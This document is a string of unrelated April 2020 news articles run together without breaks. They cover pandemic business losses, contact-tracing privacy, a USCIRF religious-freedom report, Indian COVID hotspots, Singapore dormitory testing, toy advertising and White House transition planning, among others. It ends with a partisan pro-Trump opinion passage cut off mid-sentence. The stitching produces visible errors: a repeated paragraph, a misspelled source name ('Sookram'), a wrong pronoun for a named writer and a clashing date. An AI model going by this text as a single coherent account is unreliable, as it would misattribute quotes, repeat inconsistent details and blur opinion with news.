$2.3 million in financing, though not all those loans have been closed or distributed yet, said Colin McEvoy, spokesman for the LVEDC. Plummeting sales Several business owners said they werent financially prepared to weather the shutdown. If he had more time, Kounoupis said he would have halted renovations and would now be able to do curbside takeout at the Bethlehem location. As a result, the entire location is shut down, he said. Despite ElChaar, the pet store owner whose business is deemed essential, said he had to reduce hours and shut down the business dog grooming operation. When he called to get information on a waiver for the grooming, ElChaar said the governors office told him they no longer are providing waivers, he said. Meanwhile sales so far in April dropped 50% at his two-decade-old business, ElChaar said. Has the federal, state and local government gone too far on measures to combat the coronavirus?, he asked. And was the cost worth it? The cost is not just in dollars ... unemployment is going through the roof. Tell us your coronavirus stories, whether its a news tip, a topic you want us to cover, or a personal story you want to share. Please subscribe now and support the local journalism YOU rely on and trust. Pamela Sroka-Holzmann may be reached at pholzmann@lehighvalleylive.com. Students wear protective face masks as they ride on a street in Taipei, Taiwan, on April 21, 2020. Taiwan used location-tracking capabilities in smartphones to great effectiveness during the pandemic. (AP Photo/Chiang Ying-ying) Balancing Tracking Technologies and Privacy Concerns in COVID-19 Fight As many countries resort to using contact tracing technologies to contain the spread of COVID-19, concerns are being raised about risks to privacy and the willingness of citizens to forfeit civil liberties in the effort to combat the virus. Mass surveillance through new technologies that use cellphone data to track the location of those infected has particularly raised red flags. Taiwan and South Korea are examples of countries that have used location-tracking capabilities in smartphones to great effectiveness. Israel drew ire when it approved, until April 30, the collection of personal data from private cellphones by the countrys domestic spy agency to locate potential virus carriers. The European Data Protection Supervisor has called for a pan-European mobile app to track the spread of the virus, as an improvement over the hodge-podge of apps currently used in various EU countries. In Canada, both Ontario and Quebec are considering some form of contact tracing to help contain the virus. In Alberta, one of the features of Premier Jason Kenneys relaunch strategy is voluntary smartphone apps that track movement. This app uses Bluetooth to note whether you came into contact with someone who tested positive for COVID-19, Chief Medical Officer Dr. Deena Hinshaw explained on April 23. Its no surprise that such measures have been met with skepticism by those worried about the long-term implications they may have for privacy. Writing in a post for the MacDonald-Laurier Institute, Sylvia Lorico notes that Google has been using location data from Google Maps across 131 countries to track movement patterns during the pandemic. Googles executives said that the data was meant to assist public health officials. But that begs the question: who told Google they should be doing this? he writes. No one. Theres no level of accountability. And thats the biggest problem with using these technologies. It comes at the expense of our privacy and civil liberties. Joanna Baron, the executive director of the Canadian Constitution Foundation, points out that laws already in place set certain limits on what governments can do in this context. In peacetime, data protection laws limit circumstances in which governmental bodies can collect personally identifiable information, she said in an interview. Most require direct consent from the individual, with certain exceptions. In the case of the AI-enabled location tracking floated by Premier Kenney, a preferable option would be for individuals to opt in to a tracking app via their devices. The nuance surrounding these questions was addressed by the Supreme Court of Canada in the 2017 R.v. Jones case, in which justices contemplated whether police could access the text messages of a suspect. Justice Suzanne Cote concluded that police could do so if authorized by law, if the law itself is reasonable, and if the manner in which the search was carried out was reasonable. Additionally, Baron notes that private sector data-protection laws also impose limits on organizations sharing data with governments, with the exceptions being emergencies and whether a specific law permits the data-sharing. On its face, such data-sharing without individual consent violates the Charters guarantee in section 8 against unreasonable search-and-seizure, she says. The question will be whether it is justified under section 1, which queries whether a rights infringement is demonstrated to be proportionate and minimally impairing. In order to clear that hurdle, governments would be wise to also enact provisions that ensure this information is used only for exceptional circumstances identified in the law and retained only long as is necessary. Barry Sookman, a lawyer who has specialized in these areas and written widely on the issue of technology and surveillance, notes that theres a general consensus that freedoms we enjoy as Canadians may be inhibited where exists justifiable reasons. However, to be justified, the intrusion into our civil liberties must pass a series of tests including that it must be minimally impairing and that the impairments are outweighed by the social benefits. I believe that the same kinds of tests which are at the heart of our Charter rights should be applied in these emergency situations. But he believes that, from looking at countries like Taiwan, South Korea, and Singapore, the measures have been proven effective when it comes to identifying infected contacts. We should remember that these applications supplement procedures that have been used and are still being used in dealing with this and other epidemicsthey just do it more efficiently, he says. There are issues with how the data is gathered, but those are important architectural choices that can be used to limit invasion of privacy. The argument that has been put forth by many civil libertarians is that these measures, however justified, will be a slippery slope in that they will be difficult to reverse when things return to normal. Sookram doesnt see that happening in Canada, however. Canada has a strong culture of protecting privacy, and I believe Canadians and governments understand that certain intrusions on privacy can be justified in emergencies but not when the emergency situations subside. They would get considerable pushback from the Canadian public and privacy commissioners across the country, he says. The U.S. Commission on International Religious Freedom (USCIRF) is proposing the State Department remove Uzbekistan from its "worst of the worst" list of offenders of religious freedom, while reiterating that Russia should be put on that list. The independent, bipartisan advisory body created by Congress to make recommendations about global religious freedom proposed in its annual report on April 28 that 14 countries be put on the "country of particular concern" list, a category reserved for those that carrying out "systematic, ongoing, and egregious" violations of religious freedom. Alongside Sudan, the commission recommended Uzbekistan be removed as a country of particular concern, a move already taken by President Donald Trump's administration last year. Uzbekistan has taken "significant steps" to improve religious freedom, warranting its removal from the list of worst offenders, the commission said. As improvements it cited an end to long-standing raids on religious communities and restrictions on literature, as well as the government's announcement it would close the notorious Jasliq prison, which had held religious prisoners, including two who in the past had been boiled to death, the commission said. Tashkent still remains on a special watch list, meaning there are still "severe" violations of religious freedom in the Central Asian country. Other countries on the USCIRF's special watch list include: Cuba, Nicaragua, Afghanistan, Algeria, Azerbaijan, Bahrain, Central African Republic, Egypt, Indonesia, Iraq, Kazakhstan, Malaysia, and Turkey. The State Department has already designated nine of 14 countries on the list of the worst countries regarding religious freedom: Burma, China, Eritrea, Iran, North Korea, Pakistan, Saudi Arabia, Tajikistan, and Turkmenistan. But it has so far not followed USCIRF recommendations to add five others -- India, Nigeria, Russia, Syria, and Vietnam. Russia 'Gets Worse' The commission said Russia -- which remains on the State Department's special watch list -- saw a deterioration of religious freedom in 2019 with raids on Jehovah's Witnesses and the abuse of vague laws and counterextremism justifications to target religious minorities. "The Russian government views independent religious activity as threatening social and political stability and its own control, while simultaneously cultivating relationships with the country's so-called 'traditional' religions," the report said. In Russian-occupied Crimea, the commission said Crimean Tatars were harassed, arrested, and even tortured under the cover of alleged extremism charges leveled against secular human rights groups opposed to the Russian occupation. Russia-backed separatists in eastern Ukraine also restricted religious freedom, the commission said, following a similar pattern as in Russia, while also privileging the Russian Orthodox Church over the Orthodox Church of Ukraine. In the North Caucacus, meanwhile, security forces arrested and kidnapped people with alleged links to Islamist militant groups and harassed Muslim prayer groups. 'Very Negative Direction' In another major recommendation to the State Department, the commission put India on its "worst of the worst" list of offenders of religious freedom. India is "trending in a very negative direction," USCIRF Chairman Tony Perkins said at a press conference. Indian Prime Minister Narendra Modi's Hindu nationalist government implemented a series of discriminatory policies in 2019, including an amendment to the citizenship law that provides a path to Indian citizenship only for non-Muslim immigrants from Afghanistan, Bangladesh, and Pakistan. When a national register is completed, millions of Muslims who have lived in the country for decades could face detention, deportation, and statelessness. "The national and various state governments have tolerated widespread harassment and violence against religious minorities," USCIRF added. Elsewhere in the word, China has rounded up 1.8 million Uyghur Muslims into concentration camps and women in Pakistan were forced to convert to Islam. Secretive Turkmenistan was identified as one of the worst countries in the world for religious freedom, while the commission said Tajikistan's "already dismal record" deteriorated. The USCIRF advises the president, Congress, and State Department on international religious-freedom issues. Its annual reports are different from the State Department's reports on international religious freedom. The advisory body says its independence enables it to "unflinchingly criticize" both U.S. allies and adversaries. A new series of online workshops will begin in May, led by the Lone Star College-Tomball Community Library, to help local businesses grow and succeed online during the coronavirus pandemic. The initiative is in partnership with Google and is called Grow with Google. The Google trainer, Maria Elena, will lead several online workshops to help participants learn digital skills through the month of May. ON HOUSTONCHRONICLE.COM: Willowbrook Mall stores among northwest Houston retailers to reopen with curbside pickup This partnership allows LSC-Tomball Community Library and Grow with Google to help Tomball residents increase their digital skills at this critical time, Karen Hiarker, adult program librarian for LSC-Tomball Community Library, said. Google has been a wonderful partner and is committed to helping the Tomball community. Each workshop aims to help businesses by improving their online presence, helping them reach their customers and grow their businesses, as well as teaching them how to manage their business remotely, an LSC-Tomball news release stated. MORE ABOUT HOUSTON AREA BUSINESSES: Abbott announces which Texas businesses can and can't open May 1 Tomball is a community that comes together in tough times. I want to thank our local leaders and collaborators on this critical project Dr. Lee Ann Nutt, Bruce Hillegeist, Miguel Lopez and Kelly Violettefor partnering on this initiative, Janna Hoglund, director of LSC-Tomball Community Library, said. These community leaders are supporting us in bringing the workshops and equipping our community members with crucial skills and knowledge. Together we give back and make an impact in the community we love. Greater Tomball Area Chamber of Commerce President Bruce Hillegeist said his chamber is always looking to help bring new educational opportunities to their member partners. Innovative programming and whatnot, we want to bring it to Tomball, Hillegeist said. I really believe that having Google spearhead this and bring this opportunity to us is amazing for our community. So, were a global community however you might look at it, and we want to bring the newest and best of our community so they can improve their style and succeed. The first workshop is from 11 a.m. to noon May 1. Information on all of the workshops is available on the LSC-Tomball Community Library Facebook page under events at www.facebook.com/tomballlibrary. paul.wedding@hcnonline.com New Delhi, April 28 : Delhi, Hyderabad, Pune, Jaipur, Indore, Ahmedabad and Mumbai are among the top 15 districts which have been marked at "high case load districts" in terms of COVID-19 spread, says a government assessment clarifying India's decisive fight against the deadly pandemic. Besides these seven which show particularly "high case volumes", others have been marked as critical districts. These are Vadodara and Surat in Gujarat, Kurnool (Andhra Pradesh), Bhopal (Madhya Pradesh), Jodhpur (Rajasthan), Agra (Uttar Pradesh), Thane (Maharashtra) and Chennai (Tamil Nadu). As per the report collated on the basis of information received from all states and Union Territories (UTs), Gujarat and Maharashtra are the only states where three districts in each are in "critical" situation as the deadly disease has claimed 162 lives and 3,548 confirmed cases there as per Ministry Health and Family Welfare (MoHFW) current data. Gujarat's Ahmedabad, Vadodara and Surat districts and Maharashtra's Thane, Pune and Mumbai are declared "critical" COVID-19 zones by the central government. Madhya Pradesh and Rajasthan with two districts each are mentioned in the list with Bhopal and Indore, and Jodhpur and Jaipur respectively as critical hotspots. Among the "high case volume districts", Union Territory of Delhi with 100 per cent contribution to "state caseload" and 12.62 per cent contribution to "India caseload" is passing through most crucial phase in the fight against the novel Coronavirus or COVID-19 pandemic amid reports of 54 deaths and 3,108 confirmed infected cases, the data said. Ahmedabad in Gujarat is second in terms of contribution to state caseload estimated 66.07 per cent and 9.43 per cent to India caseload; followed by Hyderabad (Telangana) with 55.64 per cent state caseload and 2.41 India caseload and Indore with 49.57 per cent state caseload and 4.48 per cent India caseload contribution. Jaipur with 36.98 per cent state caseload and 3.49 per cent India caseload COVID-19 contribution is on the fifth position in terms of "high case volumes" followed by Mumbai with 33.30 per cent state caseload and 11.62 per cent India case load contribution; and Pune with 8.45 per cent state caseload and 2.95 per cent India case load. Niti Aayog CEO Amitabh Kant, which has mentioned that the country is passing through a "turbulent time", in his tweet said: "These 15 districts are critical in our battle against COVID-19. Of them, seven show particularly high case volumes." "India's success in battling COVID-19 is dependent on them. We must aggressively monitor, contain, test and treat in these districts! We must win here." Kant said if we carefully observe the daily and weekly case growth rates in high caseload states in conjunction, it is "encouraging" that Telangana is showing noticeable improvement. "All these states must now follow the trajectory of Kerala which shows clear and sharp decline. "The central government has set up 11 Inter-Ministerial Central Teams (IMCTs), led by the Additional Secretary level officers, to monitor implementation of lockdown, supply of essential goods and other related issues. "These teams have already been visiting in most of these 15 districts -- Ahmedabad, Thane, Hyderabad, Chennai, Indore, Mumbai, Pune, Jaipur, and Kolkata, Howrah, Medinipur East, 24 Parganas North, Darjeeling, Kalimpong and Jalpaiguri in West Bengal where the situation is considered 'especially serious'. "These teams were constituted in exercise of powers conferred under the Disaster Management Act 2005 with an aim to break the chain of COVID-19 transmission and lead India win battle against the virus which have affected across the globe with over 2 lakh deaths and more than 30 lakh infected patients. (Rajnish Singh can be contacted at rajnish.s@ians.in) Latest updates on Coronavirus (COVID-19) -- The story has been published from a wire feed without any modifications to the text The market committee has cancelled licences of seven arhtiyas who were caught selling vegetables and fruits during night hours at the sabzi mandi near Jalandhar bypass on days declared closed by the administration. As per officials, the licences were cancelled on Tuesday following the recommendations of committee chairman Darshan Lal (Laddoo) Baweja. Committee secretary Deepak Sharma said the arhtiyas whose licences had been cancelled included Walia and Sons, Nitish Fruit Company, Shivam Trading Company, Laksh Trading Company, Ashok Kumar and Company, Chaman Lal-Prem Nath and Om Prakash-Pradeep Kumar. Baweja said they had received complaints that some arhtiyas were involved in illegal operations during night hours and closed days. For reducing rush at the market amid the Covid-19 pandemic, the administration had decided that arhtiyas could visit the mandi only on Tuesdays, Thursdays and Saturdays, and sell vegetables and fruits to ward vendors from 4am to 10pm everyday at designated sites. No street vendor will be allowed to enter the market. However, videos showing the arhtiyas selling vegetables to street vendors during night went viral. The Basti Jodhewal police had also arrested four vendors, who had purchased vegetables from the market during night hours on April 17. Following investigation, notices were served on the arhtiyas seeking reply. It is the first time that strict action has been taken against the arhtiyas for violating the norms. ARHTIYA ASSOCIATION OPPOSES ACTION Condemning the action against arhtiyas, Arhtiya Association president Gurkamal Singh Ilu said, Cancellation of licences is a wrong decision as arhtiyas were only transporting fruit, as allowed by the market committee. No sale or purchase was being made in the market and the union will raise the matter after all the arhtiyas, who have been home-quarantined, resume work. 50 ARHTIYAS HOME- QUARANTINED After district mandi officer (DMO) Jasbir Kaur had tested positive in the middle of April and following suspicions that virus victim ACP Anil Kohli had also contracted it while he was deputed at the mandi, the administration and the health department have home-quarantined around 50 arhtiyas working in the sabzi mandi, said Gurkamal Singh. Sub-inspector Arshpreet, her driver ASI Sukhdev Singh and the gunman of Kohli had also contracted the virus while they were deputed with ACP Kohli. FOUR TRUCKS IMPOUNDED FOR UNLOADING BANANAS ILLEGALLY Baweja said committee officials have confiscated four trucks, owners of which were illegally unloading bananas in the market. Truck owners had got the permission to unload the fruit in Amritsar, but they were unloading the same in Ludhiana. The trucks would be released after charging penalty from owners, the officials added. A large number of residents visited the market for purchasing vegetables and fruits on Tuesday also defeating the purpose of social distancing. Further, a large number of residents also gathered at the sites, earmarked in every ward for ward-wise suppliers to provide vegetables and fruits to street vendors for onward sale in the city. The administration had earlier announced that no individual resident would be allowed to purchase vegetables at these sites. Baweja said currently the mandi was operating only on Tuesdays, Thursdays and Saturdays to ensure social distancing. However, when the market opens on these days, crowds of people defeat the purpose of the move. He said he would urge the deputy commissioner to open the market for at least six days a week, and ban the entry of street vendors to the market. Northern surf lifeguards are bracing for a wave of beach-goers heading to the coastline, as the country moves to alert level 3. Surf lifesaving clubs were forced to shut early because of the COVID-19 lockdown, with the regions Emergency Call Out Squads put on standby to respond to any in-water incidents. Surf Life Saving Northern Region chief executive Matt Williams says the organisation is expecting a greater number of people on the coastline than would be normal for this time of year, as the alert levels drop. COVID-19 restrictions have reemphasised the important role our coastline plays in enriching the lives of New Zealanders, he says. Restricting the activities they love like surfing, swimming and land-based fishing has had a marked and widely communicated negative impact and were expecting to see a rapid, but hopefully safety-conscious, return to the coast as soon as Level 3 comes into play. Surf lifesaving has no planned patrols until Labour Weekend 2020, but in the interim the Northern Regions 16 ECOS will be continue to be available, working with other emergency services should anyone get into trouble, says Matt. He says lifeguards are relying on a sensible return to the coast from the public as the lockdown eases. We know the public has it in them to return to coastal activities safely, in alignment with alert level requirements. However, our ability to respond to accidents arising from reckless behaviours and our tolerance for those behaviours is going to be somewhat less than normal. Now is not the time to be taking up new activities or challenges on the coast or stretching yourselves physically when getting back into the water. He urged all those considering going to the coast for recreation to check out the conditions on the Safeswim website and to be extra-vigilant about observing the key safety rules and recommendations around social-distancing and hand sanitation. Matt says SLSNR has been busy over the last few weeks redefining its operations and funding in these imperfect times and advising the Government on sound coastal use during the crisis. Weve seen an erosion of our historical income streams at the same time as the COVID-19 lockdown has required us to rethink and review how we work as an emergency service; for the foreseeable future it has changed the core business of lifeguarding. With the threat of the virus, how we approach rescues and management of patients and victims has to change because of the additional health risks. Our priority is to ensure we are able to continue to respond effectively to in-water incidents during these challenging times. In concert with these challenges, the organisation is facing an unprecedented funding crisis as current funding sources have been eroded overnight, says Matt. Our organisation has always been mindful of this day, given our on-going reliance on volatile funding sources to meet core expenditure costs, and right now its more important than ever to receive further support so that we can to respond to COVID-related challenges and the expected boom in coastal use arising out of a localisation of recreation in the near future. Although Surf Life Saving has largely been community-funded, this model needs to be reviewed immediately in light of current events to ensure our organisation and the critical service we provide remains viable. New Delhi, April 28 : Almost half or around 47 per cent of people are in favour of continuing the lockdown till the last week of May in districts with Covid-19 cases after April 15, as per a survey by LocalCircles. However, 79 per cent of the citizens are in favour of unlocking all districts with no cases after April 15. Around 63 per cent of the citizens are in favour of keeping public transportation systems (air, rail, bus) shut in districts that are kept locked post May 3. LocalCircles said the survey makes it clear that the collective is in favour of opening the lockdown in all districts with no cases after April 15, while keeping only the hotspots in these districts under lockdown. In districts where there have been active cases after April 15, people are divided about whether the lockdown should be extended till the last week of May or should it be extended just for the hotspots. A total of 47 per cent of the people are on each side of the argument and the LocalCircles view is that the government should take the side of caution, at least in the 27 high load districts. As far as opening of intercity public transportation systems i.e. air, train and bus travel goes, 63 per cent people are in favour of keeping them shut in districts where the lockdown is extended post May 3. LocalCircles will submit the findings of this study to Central and state governments for them to decide the way forward, taking into consideration the collective opinion. People have been divided in their thinking on how the unlocking of the unprecedented 40-day lockdown should be done. Some people are in favour of complete unlocking, while others want partial unlocking. LocalCircles conducted a survey among the citizens to check their views on the process of easing the lockdown. The three-poll survey received more than 24,000 votes from 254 districts across India In the first question, citizens were asked for districts with new Covid-19 cases after April 15 -- how should the Government of India go about lockdown after May 3. Twenty per cent said the government should keep them fully locked till May 23, i.e. for another 20 days, while 27 per cent said the government should keep them fully locked till May 31. Forty-seven per cent said these districts should be unlocked fully post May 3 but the hotspots within the districts should be kept locked down. Only 5 per cent said they should be fully unlocked post May 3. The next question asked for the districts with no new Covid-19 case after April 15 or no Covid-19 cases at all till date -- how should the Government of India go about lockdown. Seven per cent said such districts should be kept fully locked till May 23 while 12 per cent said such districts should be kept fully locked till May 31. Sixty-seven per cent said these districts should be unlocked fully post May 3 but the old hotspots, if applicable within the districts, should be kept locked down. Twelve per cent want the government to unlock them fully post May 3 even if there are old hotspots that were identified prior to April 15. When asked how should the public transportation (air, rail, inter-city bus) function after May 3, 32 per cent said all inter-district transportation systems must be kept shut, 29 per cent said only inter-district transportation between unlocked districts must be opened, while 34 per cent said all inter-district transportation systems must be opened up with travel restrictions imposed only in locked down districts. LocalCircles said this is quite a tricky issue as the top 27 high load cities in the country are also hubs of travel and hence how can a system be designed where intercity public travel can be permitted while using the hub while citizens who reside in that city are still subject to lockdown restrictions. It is like a train going from Amritsar to Jabalpur without stopping at the New Delhi station which may be quite hard to implement and make the route economically unviable. Latest updates on Coronavirus (COVID-19) Journalists at Vedomosti, one of Russias most prominent business publications, have demanded the removal of Editor in Chief, Andrey Shmarov, for what they claim is pro-Kremlin censorship. The International Federation of Journalists (IFJ) together with the Russian Union of Journalists (RUJ) urge Vedomosti's ownership to act to protect the independence of media professionals and respect press freedom. In March, Vedomosti was sold to Konstantin Zyatkov, the publisher of Argumenty i Fakty, a weekly newspaper owned by the Moscow government and to the businessman Alexei Golubovich. In the following days, they publicly announced that nothing would change under the newly installed chief editor Andrey Shmarov. However, according to the company's journalists the situation deteriorated, and on 23 April, Vedomosti journalists wrote an editorial where they asked for the removal of Andrey Shmarov due to his efforts to censor articles and information. Among others, Shmarov allegedly removed an online article written by economist Konstantin Sonin from University of Chicago and banned the publication of data from independent pollster Levada Center about the Kremlins latest policies. Vedomosti journalists wrote: Vedomosti will become just another dependent and controlled media outlet whose task wont be fulfilling the needs of its readers with verified news and high-quality analysis, but fulfilling the interests and ambitions of its official and unnamed owners The Russian Union of Journalists (RUJ) strongly opposes any attempt of censorship and advocates for the social and labor rights of journalists. "We have already expressed and confirmed our intention to resolve the conflict at the editorial office. We are ready to provide our colleagues with the necessary support and take all necessary measures to preserve freedom of speech and journalism". IFJ said: We are appalled by the level of censorship facing Vedomosti 's journalists and call on the newspaper's owners to respect press freedom and the public's right to know. We urge the owners of this well-respected publication to prevent any interference with the independent work of Vedomostis journalists. SINGAPORE A Ministry of Health (MOH) senior official said on Tuesday (28 April) that there is no fudging of the number of confirmed COVID-19 cases in foreign worker dormitories, saying that other priorities such as isolating symptomatic individuals have to be considered before testing takes place. Speaking at a virtual media briefing, the MOH director of medical services Kenneth Mak said, It's not an issue of fudging or dodging or trying to hide numbers. It's really a question of making sure that our priorities and testing match the needs that we have on the ground and making sure that we report as transparently as we can. While there may be a bigger number of confirmed cases than what had been reported, there will always be a catch up and the numbers will reconcile, Prof Mak said in response to a question during the briefing. He was speaking before a virtual multi-ministry taskforce press conference was held after the briefing. A reporter had asked Prof Mak whether there is a lag in the number of confirmed cases in Singapore as an official statement appeared to suggest that some symptomatic workers were isolated without being tested first. Prof Mak replied that the first priority for the health authorities is to make sure they have the ability to isolate and keep workers residing in dorms who are symptomatic away from those who are not. Such a strategy is important and effective in order to disrupt the chain of transmission, whether it is at home or in a dorm setting. While testing is an effective tool to support the management of the outbreak within the dorms, it is used more strategically to establish the level of infection among the workers, Prof Mak explained. In some dorms, there are only an isolated number of cases and these are where the chances of success are greatest in terms of trying to disrupt the chain of transmission, he added. Therefore we are prioritising (testing) particularly (in) those dormitories to make sure that we are able to pick up cases of confirmed COVID-19 infection, but also doing active case finding...and keeping those close contacts separated from the rest of the community of foreign workers in a dormitory in order to disrupt that chain of transmission. Story continues Prof Mak noted that the rate of infection in various dormitories varies over a very wide range. As such, for dorms whereby practically every patient presents with COVID-19 symptoms, Prof Mak said it makes a lot of sense to prioritise isolating these symptomatic workers. The majority of such workers have minimal symptoms and are clinically very well. Most of the time when we place them in these isolation facilities, and we keep a close eye on them, there isn't really much else we need to do other than the monitoring that we have put in place, Prof Mak said. We eventually will need to test all of them, but the first priority is to get them out, make sure they're properly isolated given the high rate of infection present within those dormitories. On the same day, the MOH reported a preliminary 528 new COVID-19 cases in Singapore as of Tuesday (26 April) noon, bringing the total to 14,951 the highest recorded in Southeast Asia. As with the confirmed cases in recent weeks, the vast majority of the new cases were foreign workers residing in dorms. Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore More Singapore stories: Tears and fears over COVID-19: More in Singapore seek help for mental health COVID-19: Bill to allow virtual marriage solemnisations to be introduced in Parliament COVID-19: Robots to help with operations at new Changi Exhibition Centre isolation facility COVID-19: Stern warning for dorm which locked foreign workers in a room report COMMENT: Singapores treatment of foreign workers is a stain we can do without A three-year-old girl whose face was "badly mauled" when a family-owned dog attacked her in Co Londonderry on Sunday is expected to spend weeks in a Belfast hospital. While the exact circumstances of the run-up to the attack on the girl are not yet clear, it is understood the dog was a Rottweiler belonging to her father which has since been humanely destroyed. The attack happened shortly after 2pm on Sunday at the family home, which is in the Garvagh area. Members of the Ambulance Service administered first aid before she was airlifted to the Royal Belfast Hospital for Sick Children by air ambulance. Local DUP councillor Adrian McQuillan, who knows the family, said the whole community is in a state of shock. He said: "My heartfelt sympathy goes out to this family who must be in so much turmoil right now. "They are in the midst of what is undoubtedly a nightmare for any parents and I know the whole community is thinking and praying for them right now. I understand this poor wee girl, who is only three years of age, has been badly mauled in her face by the dog which is owned by the family. Initial fears that she would lose her eye as a result of the attack don't seem to be the case now, which is a mercy," the councillor added. "Sadly this family face a long time of uncertainty, of long vigils at their daughter's hospital bedside, but I do know whatever support they need to make this terribly traumatic time a bit easier they will get from the local community." A Causeway Coast and Glens Council spokeswoman said: "Council is aware of an incident on Sunday, April 26 involving a young child and a family pet which resulted in hospital admission of the child. "As a result, the family has had the animal humanely destroyed. "Council sends its best wishes to the child and family and hopes that a full and speedy recovery can be made following such a traumatic experience." It isnt just digital games are are getting more attention from shoppers as they look for things to do at home during COVID-19 lockdowns. According to new data out from MediaRadar sales of action figures, toy cards and even board games have also seen significant increases in revenue over the past few weeks. Toy brands Mattel, Hasbro, and LEGO are leading the increases; combining their spending, in February the three brands spent $5.8 million but in March, they spent nearly $19 million in advertising. In late February of 2020, Hasbro warned investors of a decrease in revenue due to challenges with overseas factories because of COVID-19. Ironically, Hasbro didnt know that by March, the virus would hit the states, just as hard. Now, the companys shares are now up 64 percent from their March 16th low, and its current challenge is no longer vacant factories in China, but keeping up with demand in the States. This story is not unique to Hasbro. Toy companies across the board are seeing a massive surge in sales. We decided to see how all of this is impacting their ad spend, said Todd Krizelman, Co-Founder & CEO, MediaRadar. due to challenges with overseas factories because of COVID-19. Ironically, Hasbro didnt know that by March, the virus would hit the states, just as hard. Now, the companys shares are now up 64 percent from their March 16th low, and its current challenge is no longer vacant factories in China, but keeping up with demand in the States. This story is not unique to Hasbro. Toy companies across the board are seeing a massive surge in sales. We decided to see how all of this is impacting their ad spend. Game system brands, like Nintendo and Sonys Playstation, also saw significant increases in advertising between February and March, when many countries went on lockdown. Gaming brands spent about $9 million, combined, in January and February, but in March pushed more budget dollars into advertising to the tune of $11 million. The key contributor here is Nintendo. The company is aggressively marketing the Nintendo Switch Lite, despite the fact that it launched back in September of 2019, Krizelman said. Combined, ad spend from Playstation and Xbox was less than 1/15th of what Nintendo spent in March. For these companies, the timing is poor, as they both have new consoles coming out in the coming fall. More data from MediaRadar can be accessed here. The White House has told government agencies to start preparing for the transition should Donald Trump lose to Joe Biden in November as Democrats worry the president won't cooperate with a handover should one become necessary. Russell Vought, acting director of the White House's Office of Management and Budget, issued a memo on Monday ordering 20 different agencies to appoint a transition director by Friday, in accordance with the Presidential Transition Act. Each agency's director will make up the Agency Transition Directors Council, which will meet on May 27, Vought wrote. The White House has told government agencies to start preparing for the transition should Donald Trump lose November's election Joe Biden has tapped a longtime aide to head the transition effort from his side and said Monday night that preparation needs to start now The 17-page memo also outlines the responsibilities of the group, including ensuring a 'strategy for addressing interagency challenges and responsibilities' around the transitions, coordinate the activities between the outgoing administration and the incoming one and prepare career government staff to backfill certain roles during the transition. Congress has appropriated $9.62 million for transition activities this year. If President Trump is re-elected, any funds earmarked for transition activities are returned to the U.S. treasury. Federal law requires the government to be prepared to change power should an incumbent president lose election. In 2012, then-President Barack Obama prepared to hand over the White House if Mitt Romney won that November - a scenario that did not come to pass. Biden, who comes into the process with the advantage of having served as vice president, has gotten started too. He appointed his longtime aide Ted Kaufman, who also served in Biden's Senate seat, to head the process for him. The campaign won't get formal transition space from the GSA until September but can start preparations for a handover in power. Biden told a fundraiser Monday night that 'you can't wait until you win, if you win. You've got to start right now.' He noted his campaign has put together a transition team and has already heard from people ready to serve in a Biden administration. He said that although the Trump administration has seen an exodus of career civil servants, he's optimistic he can bring some of them back. 'You've got to be ready on Day One to be able to start naming people to head up these Cabinet positions, sub-Cabinet positions and those appointments that are in within the departments that are career positions, and bring people back,' he said. 'I think we can do it.' He said he's even heard from some Republicans who want their government jobs back should he win. 'One advantage of being around a long time is you get to know an awful lot of people,' he said. 'I have had literally several hundred serious, serious players who have held positions in every department in the federal government who have said, including some Republicans, who have said: 'If you win, I want to come back. I'm ready to serve.'' As government staff prepare for a possible transition of power in the White House, some Democrats are worried President Trump won't cooperate if he loses Federal law outlines the transition process between presidents: President Trump, Melania Trump and Barron Trump are seen walking in the January 2017 inaugural parade Democrats, however, are worried President Trump may not go quietly should Biden defeat him. 'They're a 'let's burn the house down on the way out' kind of crowd. I'd like to think it was different, but there's nothing to indicate that they would play it straight,' said John Podesta, who was a co-chair of Barack Obama's transition in 2008 and chair of Hillary Clinton's presidential campaign in 2016, told NBC News. 'One of the challenges will be, which I think with Trump you have to anticipate,' he said, 'is what if he doesn't accept the results?' Biden has expressed concern President Trump might try to change the November 3rd election given the interruption to daily life due to the coronavirus. The pandemic also has stunted the markets and Trump has based his re-election message on having a strong economy. 'Mark my words: I think he is going to try to kick back the election somehow, come up with some rationale why it can't be held,' the former vice president said at a fundraiser last week. Trump, however, dismissed Biden's speculation. 'I never even thought of changing the date of the election. Why would do i that?' Trump said at the White House Monday. 'November 3. It's a good number. No, I look forward to that election. That was just made up propaganda. Not by him. But by some of the many people that are working writing little statements,' he noted. Trump has joked about staying in White House beyond his time in office. The constitution limits a president to two four-year terms or 10 total years in office. Trump, at his campaign rallies, has joked about staying another eight or 12 years. There have been reports of pranks in presidential transitions - including Clinton staffers allegedly removing the 'W' keys on computers before George W Bush took office; he's seen with daughters Jenna and Barbara at the 2005 inaugural ball President Obama and Vice President Biden on their inauguration day in 2013 President Obama, seen with Michelle Obama and daughters Malia and Sasha at his first inauguration in 2008, worked to give President Trump a smooth transition First Lady Melania Trum, Second Lady Karen Pence, President Donald Trump, Vice President Mike Pence, former President Barack Obama, former Vice President Joe Biden, former First Lady Michelle Obama, and former Second Lady Jill Biden stand on the West Front of Capitol after Trump was sworn into office on January 20, 2017 There's also been a tradition of pranks in the past during hand overs of power. Stephanie Grisham, when she was serving as White House press secretary for President Trump, told a Virginia radio station that Obama staff left 'you will fail' notes for them. 'We came into the White HouseI'll tell you something, every office was filled with Obama books. And we had notes left behind that said 'You will fail,' 'You aren't going to make it.' And in the press office, there was a big note taped to a door that said, 'You will fail',' Grisham said. Her claims were questioned given no photos of notes were provided. Staffers for President Bill Clinton were reported to have removed the 'W' keys from computers before President George W. Bush took office. Bush ordered his staff to forgo any hanky-panky and have an orderly transition. During the 2008 election to replace him, his Chief of Staff Josh Bolten reached out to both Republican presidential candidate John McCain and Obama to start the transition process. Obama also ordered a smooth transition to Trump's presidency and cited Bush's model as one to follow when handing over power. President Trump is a true leader, and yes Ill say it, a genius. First, in 3 short years he led our country to the greatest economy in our history by simply keeping his campaign promises. In spite of opposition from virtually every Democrat politician in the country, not to mention the liberal mainstream media, he lowered taxes on workers, reduced unemployment to record levels, and increased wages, especially for low income workers and minorities. His campaign promises included passing a historic tax reform plan, which had to be done before the mid-terms in 2018, when the tax-and-spend Democrats were able to take control of Congress and end any chance of further tax reductions. Done. He kept his promise to immediately withdraw the United States from the Trans-Pacific Partnership (TPP), and renegotiate one of the worst trade deals ever, NAFTA. Done. Both the TPP and NAFTA were giveaways to other countries, and President Trump realized this earlier than anyone. Thanks to 